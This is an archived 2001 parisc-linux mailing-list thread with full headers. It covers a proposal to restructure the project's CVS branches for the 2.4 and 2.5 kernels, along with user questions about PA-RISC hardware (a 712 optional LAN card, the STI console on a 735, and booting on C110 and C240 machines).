X-Trace: ger.gmane.org 1416620301 22347 80.91.229.3 (22 Nov 2014 01:38:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 15:58:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30971482A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 15:58:54 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel7.hp.com (Postfix) with ESMTP id 6B89B1F7D3
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 17:58:21 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id PAA27216
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 15:58:52 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15KoTz-00060v-00
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 15:58:51 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11618

Due to CVS bugs and the upcoming extra demands as we cope with both
2.4 and 2.5 linux, I propose the following architecture including
a sketch for how to transition.

In futureworld, we will have 4 branches:

What				Branch Name

upstream 2.4 sources		linus23 (also called linus24)
2.4 parisc development		devel23 (also called devel24)

upstream 2.5/2.6 sources	linus25 (also called linus26 later)
2.5/2.6 parisc development	devel25 (also called devel26 later)

The default branch which comes from CVS if you merely do a 'cvs co linux'
will be the devel23 branch.  Revision numbers in the devel23 branch
will be 2.3.X.X and in the devel25 branch, 2.5.X.X.  The HEAD/trunk
will contain no files and never be used again.  Note that the CVS features
for making this as convenient as today's development model are simple
and will not in general incur extra work.

Transition sketch:

    Populate the linus23 upstream branch:
	# The current Linus upstream branch is called 'linus', or 1.1.1,
	# which we'll just re-use under a new name(s)
	cvs co -rlinus linux
	# Add the alias 'linus23'
	cvs admin -nlinus23:linus
	# Add the alias 'linus24'
	cvs admin -nlinus24:linus

    Populate the devel23 branch:
        cvs up -RAPd
	cvs commit -r2.3
	cvs rtag -r2.3 -b devel23 linux
	cvs admin -ndevel24:devel23
	cvs up -rdevel23 -RPd
	# do not use commit -Rf -- doesn't work
	cvs commit -f -m'moved from HEAD' -R

    Make devel23 the default:
    	cvs admin -b2.3.2 (or cvs admin -bdevel23 if that works)

    Nuke the current trunk:
	cvs up -RAPd
        find . | fgrep -v CVS | xargs cvs rm -f
	cvs commit -m'moved everything to the devel23 branch'
	cvs up -RAPd # should be empty directory now

    Fix:
    	the /cvs CGI
	cvsview?
	bonsai
	others?

    Populate linus25 when 2.5 is released (trickery):
	cvs rtag -r1.1 -b linus25 linux
	cvs up -r1.1		# yes, this is required :-(
        cvs up -rlinus25
	Turn these files into linux 2.5 bits (cvs rm, cvs add, etc...)
	cvs commit -f -m 'import 2.5' -R

    Populate devel25 (more trickery):
	cvs up -RPd -r2.5	# should be EMPTY
	# bring in 2.3 devel
	cvs up -jdevel23 -RPd
	# Merge 2.4->2.5 changes
	cvs up -jlinus23 -jlinus25 -RPd
	cvs commit -f -R -m 'populate devel25 step 1'
	cvs rtag -r2.5 -b devel25 linux
	cvs up -rdevel25 -RPd
	cvs admin -ndevel26:devel25




From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Thu, 12 Jul 2001 20:09:21 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <20010712200921.A29444@beavis.ybsoft.com>
References: <200107120523.XAA09209@puffin.external.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620302 22350 80.91.229.3 (22 Nov 2014 01:38:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 20:09:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amanda.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 698E5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 20:09:24 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by amanda.ybsoft.com (Postfix) with ESMTP
	id 2C8145873A; Thu, 12 Jul 2001 13:10:47 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 1753BBC72; Thu, 12 Jul 2001 20:09:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200107120523.XAA09209@puffin.external.hp.com>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11619

On Wed, Jul 11, 2001 at 11:23:34PM -0600, Grant Grundler wrote:
> Richard Hirst wrote:
> > Installing a 64 bit kernel with narrow PDC
> > calls later would be an option (once it works).  Do we leave building
> > that kernel as an exercise for the user, or or do we have one packaged
> > in the archive?
> 
> I was under the impression the "CONFIG_PDC_NARROW" option would only
> "activate" itself in one boxes that needed it. Ie it does grow the kernel
> and AFAIK is really only useful for Cxxx models.
> Ryan, do I have it right?

Not quite.  Let me try to clarify (This is the help text for the 
CONFIG_PDC_NARROW option)....

CONFIG_PDC_NARROW
  Saying Y here will allow developers with a C180, C200, C240, C360,
  J200, J210, and/or a J2240 to test 64-bit kernels by providing 
  a wrapper for the 32-bit PDC calls.  Since the machines which 
  which require this option do not support over 4G of RAM, this
  option is targeted for developers of these machines wishing to
  test changes on both 32-bit and 64-bit configurations.

  If unsure, say N.

At one time I had run-time detection to detect if the machine was 
booted into wide mode it could detect if the pdc wrappers were needed.
After some discussion, we decided to make it a compiler option since
it added overhead to every pdc call and would rarely be used.

If the help text for this option needs to be clarified, please send
me your comments and I'll update the help text. :)

Thanks,

- Ryan

> I am pretty sure K/D/R-class boxes have a different source base for PDC
> which "properly" support wide-mode PDC calls.
> 
> thanks,
> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Holger Zessel <hzessel@grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem activating the optional lan card on 712/80 with 0.9-32serial
Date: Fri, 13 Jul 2001 12:03:18 +0200
Lines: 172
Approved: news@gmane.org
Message-ID: <200107131003.MAA10316@hprtdt13.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620302 22355 80.91.229.3 (22 Nov 2014 01:38:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:22 +0000 (UTC)
Cc: hzessel@grc.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 04:03:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94BE7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 04:03:29 -0600 (MDT)
Original-Received: from hpugrca.grc.hp.com (hpugrca.grc.hp.com [15.137.20.50])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 2052828C4B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 12:03:25 +0200 (METDST)
Original-Received: from hprtdt13.grc.hp.com (root@hprtdt13.grc.hp.com [15.140.8.218]) by hpugrca.grc.hp.com with ESMTP (8.8.6 (sendmail_886_v2)/8.7.3 SMKit7.01) id MAA16374; Fri, 13 Jul 2001 12:03:21 +0200 (METDST)
Original-Received: from localhost (hzessel@localhost [127.0.0.1]) by hprtdt13.grc.hp.com with SMTP (8.8.6/8.7.1) id MAA10316; Fri, 13 Jul 2001 12:03:20 +0200 (METDST)
X-Authentication-Warning: hprtdt13.grc.hp.com: hzessel@localhost [127.0.0.1] didn't use HELO protocol
X-Mailer: exmh version 2.0zeta 7/24/97
Original-Sender: hzessel@hprtdt13.grc.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:11620


Hi all,

did anybody manage to activate the optional lan card in the 712 ??

As far as I know the normal prefab kernel on one of the iso images
should work. And according to the website the card should be supported.
I installed the 0.9-32serial and everything was fine so far.

The boot messages show that the kernel sees the card but registering
the card as a networkdevice seems to be the problem.

I remembered that at least 2.2 kernels needed a commandline option
e.g   ether=0,0,eth1   to enable an additional lancard and
experimented with the command line but have not been able to find sufficient 
info or to see any effect on the behavior.

Crucial seem to be the following lines (full dmesg output is further
below):

4. Gecko 80 Core Lan (802.3) (10) at 0xf0107000, versions 0x1c, 0x0, 0x8a, 0x0, 0x0
...
12. Gecko Optional Lan (802.3) (10) at 0xf0507000, versions 0x18, 0x0, 0x8a, 0x0, 0x0
...
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Found i82596 at 0xf0507000, IRQ 119
early initialization of device eth0 is deferred
lan.c: register_netdevice ret'd -17
Warning : device (10, 0x18, 0x0, 0x8a, 0x0) NOT claimed by Lasi i82596 LAN 712, 715 or similiar


The card was working fine on HP-UX 10.20 and currently it is not connected to
a hub but that does not make a difference in the behavior.

Questions:
   - Any bugs / caveats known ??
   - cmdline options needed here evtly ??


Thanks in advance for feedback,
best regards,
Holger



Full dmesg output:


Linux version 2.4.0-pa10 (root@slab) (gcc version 3.0 20010315 (prerelease)) #1 Wed May 30 20:19:52 BST 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
setup_cmdline(0x65328,0x65328,0x0,0x0)
PALO command line: 'root=/dev/sda2 HOME=/ TERM=linux console=ttyS0 ether=eth1,0,0,0,0'
PALO initrd 0-0
model   00006010 00000481 00000000 00000000 7816e9c5 00000000 00000004 00000072 00000072
vers    0000000b
CPUID   vers 0 rev 0
model   9000/712
Total Memory: 64 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Gecko 80 GSC Core Graphics (10) at 0xf8000000, versions 0x1c, 0x0, 0x85, 0x0, 0x0
2. Gecko 80 Core BA (11) at 0xf0100000, versions 0x1c, 0x0, 0x81, 0x0, 0x0
3. Gecko 80 Core SCSI (10) at 0xf0106000, versions 0x1c, 0x0, 0x82, 0x0, 0x0
4. Gecko 80 Core Lan (802.3) (10) at 0xf0107000, versions 0x1c, 0x0, 0x8a, 0x0, 0x0
5. Gecko 80 Core RS-232 (10) at 0xf0105000, versions 0x1c, 0x0, 0x8c, 0x0, 0x0
6. Gecko 80 Core Centronics (10) at 0xf0102000, versions 0x1c, 0x0, 0x74, 0x0, 0x0
7. Gecko 80 Audio (10) at 0xf0104000, versions 0x1c, 0x0, 0x7b, 0x0, 0x0
8. Gecko 80 Core PC Floppy (10) at 0xf010a000, versions 0x1c, 0x0, 0x83, 0x0, 0x0
9. Gecko 80 Core PC Keyboard (10) at 0xf0108000, versions 0x1c, 0x0, 0x84, 0x0, 0x0
10. Gecko 80 Core PC Keyboard (10) at 0xf0108100, versions 0x1c, 0x0, 0x84, 0x0, 0x0
11. Gecko 80 Core BA (11) at 0xf0500000, versions 0x1c, 0x0, 0x81, 0x0, 0x0
12. Gecko Optional Lan (802.3) (10) at 0xf0507000, versions 0x18, 0x0, 0x8a, 0x0, 0x0
13. Gecko Optional RS-232 (10) at 0xf0505000, versions 0x18, 0x0, 0x8c, 0x0, 0x0
14. Gecko 80 (712/80) (0) at 0xfffbe000, versions 0x601, 0x0, 0x4, 0x0, 0x81
15. Gecko 80 (1) at 0xfffbf000, versions 0x38, 0x0, 0x9, 0x0, 0x0
That's a total of 15 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 80.000000 MHz
Kernel command line: root=/dev/sda2 HOME=/ TERM=linux console=ttyS0 ether=eth1,0,0,0,0
Calibrating delay loop... 79.66 BogoMIPS
Memory: 62272k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
Lasi version 0 at 0xf0500000 found.
Initializing Lasi PS/2-keyboard port at 0xf0108000...
Support for Lasi PS/2-psaux not yet available !
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Found i82596 at 0xf0507000, IRQ 119
early initialization of device eth0 is deferred
lan.c: register_netdevice ret'd -17
Warning : device (10, 0x18, 0x0, 0x8a, 0x0) NOT claimed by Lasi i82596 LAN 712, 715 or similiar
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xf0107000, 08 00 09 5C 55 1E IRQ 87.
82596.c $Revision: 1.18 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0505800 (irq = 122) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST32550N          Rev: HP09
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 4, lun 0
SCSI device sda: 4165272 512-byte hdwr sectors (2133 MB)
Partition check:
 sda: sda1 sda2 sda3
md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md.c: sizeof(mdp_super_t) = 4096
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 204592k swap-space (priority -1)
eth0: link ok.

-- 

                                                               __
        Holger Zessel                                         / /\
        Hewlett-Packard                                      / /  \
        Response Center Germany                      __     /_/ /\ \
        Berliner Str.111                            /_/\  __\ \ \_\ \
        40880 Ratingen, Germany                     \ \ \/ /\\ \ \/ /
        e-mail:   hzessel@noXspamX.grc.hp.com                 \ \ \/  \\ \  /
                  Holger_Zessel@noXspamX.hp.com                \ \  /\ \\ \ \
        FAX:      +49/2102/90-7934                     \ \ \ \ \\ \ \
                                                        \ \ \_\/ \ \ \
CC-UX Unix Competency Center, Subteam Network Services   \ \ \    \_\/
                                                          \_\/ I N V E N T

_________________________________________________________________________
Hewlett-Packard GmbH, Herrenberger Str. 110-140, 71034 Boeblingen,
Geschaeftsfuehrer: Heribert Schmitz (Vorsitzender), Hans-Jochen Lueckefett, 
Heiko Meyer, Fritz Schuller, Regine Stachelhaus, Jrgen Banhardt,
Vorsitzender des Aufsichtsrates: Joerg Menno Harms
Sitz der Gesellschaft: Boeblingen, Amtsgericht Boeblingen HRB 4081
_________________________________________________________________________






From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HD not bootable after installation....
Date: Fri, 13 Jul 2001 06:14:02 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB19216268C@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620302 22357 80.91.229.3 (22 Nov 2014 01:38:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:22 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 04:14:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C624482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 04:14:08 -0600 (MDT)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <3VL0YNBR>; Fri, 13 Jul 2001 06:14:06 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11621

Hi,

after solving my previous Problems i tried to install several times without
success because the SCSI-Controller performed Bus-Resets all the time. So I
played arround and found out that both Harddisks seemed to be kind of defective
(have to test them in a pc). After installing an other Harddisk the installation
went fine but for some reason this new Harddisk is not bootable (Palo was
executed successfully), its not in the list of bootable devices at startup and
if i select it manualy it fails to boot. But after booting from network the disk
is detected. Since this harddisk was in a PC before I wonder if theres anything
I may have forgotten...


Wolfgang Pedot

Development Engineer
R&D, Software

Harris Broadcast Europe
Oberer Paspelsweg 6-8
A-6830 Rankweil-Brederis
Tel:  +43 5522 9011 2302
Fax: +43 5522 9011 2565
e-mail: wpedot@harris.com







From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] setting up the STI console on a 735/99
Date: Thu, 12 Jul 2001 14:52:28 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000B_01C10AE2.4542FFF0"
X-Trace: ger.gmane.org 1416620302 22360 80.91.229.3 (22 Nov 2014 01:38:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:22 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 06:03:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB04E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 06:03:33 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3ZLD4Y0Y; Fri, 13 Jul 2001 08:03:32 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11622

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C10AE2.4542FFF0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

So I have now succesfully installed the base system on a external narrow =
SCSI. I can boot off of it. Now the next question is how do I set it up =
to go to the STI console instead of the serial?

Ray

------=_NextPart_000_000B_01C10AE2.4542FFF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>So I have now succesfully installed the =
base system=20
on a external narrow SCSI. I can boot off of it. Now the next question =
is how do=20
I set it up to go to the STI console instead of the serial?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Ray</FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01C10AE2.4542FFF0--





From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] setting up the STI console on a 735/99
Date: Fri, 13 Jul 2001 14:13:36 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 30
Approved: news@gmane.org
Message-ID: <0107131413361U.03565@flambe.ireste.fr>
References: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620303 22363 80.91.229.3 (22 Nov 2014 01:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:23 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 06:08:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14503482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 06:08:08 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id OAA04296
          for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 14:09:14 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
In-Reply-To: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:11623

Le Jeudi 12 Juillet 2001 20:52, vous avez crit :
> So I have now succesfully installed the base system on a external narrow
> SCSI. I can boot off of it. Now the next question is how do I set it up to
> go to the STI console instead of the serial?
>
> Ray

try console=tty on palo commande line 

i try it, messages go on console but i get a "unable to open initial console"
and back to serial to login !

----------------------------------------
Content-Type: text/html; charset="iso-8859-1"; name="Pices jointes : 1"
Content-Transfer-Encoding: quoted-printable
Content-Description: 
----------------------------------------

-- 
_________________________________________________
  
                    Matthieu Le Corre
                  Service informatique
   Ecole Polytechnique de l'Universit de Nantes
      Matthieu.Lecorre@polytech.univ-nantes.fr
                     02.40.68.32.23
__________________________________________________




From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 0.9.2 on C110
Date: Fri, 13 Jul 2001 14:40:19 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C915@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620303 22364 80.91.229.3 (22 Nov 2014 01:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 06:40:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nlntadn.ats.nld.alcatel.nl (unknown [193.173.147.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9A40483A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 06:40:27 -0600 (MDT)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <34ZXWYC9>; Fri, 13 Jul 2001 14:40:21 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11624

High all,

Just downloaded 0.9.2 image, burned it, and gave it a try on my C110.
(should work afaik)
For  the broad picture:
C110, 256MB mem PS/2 keyboard & mouse, two lan interface, neither connected
(yet) and no serial console)

Booting went well, switched to STI-console (nice tux  in upperleft corner)
In a blink boot (cpu, mem, disks, lan) info flashed across the screen, and
then, instead of login, a graphic screen with a general debian message that
it is experimental software.

After that the system seems to be frozen...

Am i missing something?

Hans.




From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] setting up the STI console on a 735/99
Date: Fri, 13 Jul 2001 08:47:50 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <000901c10b9a$069f8030$0f809b8e@ati.stlawrencec.on.ca>
References: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca> <0107131413361U.03565@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620303 22366 80.91.229.3 (22 Nov 2014 01:38:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:23 +0000 (UTC)
To: "Matthieu Le Corre" <matthieu.lecorre@polytech.univ-nantes.fr>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 06:45:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE29C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 06:45:31 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3ZLD4ZAH; Fri, 13 Jul 2001 08:45:30 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11625

I tried that but with the same result. Is there any way to get away from the
serial console and use the monitor for the 735? We're trying to set up a lab
of 700 and 735 for students so we need to get them running without the
serial console.


----- Original Message -----
From: "Matthieu Le Corre" <matthieu.lecorre@polytech.univ-nantes.fr>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, July 13, 2001 8:13 AM
Subject: Re: [parisc-linux] setting up the STI console on a 735/99


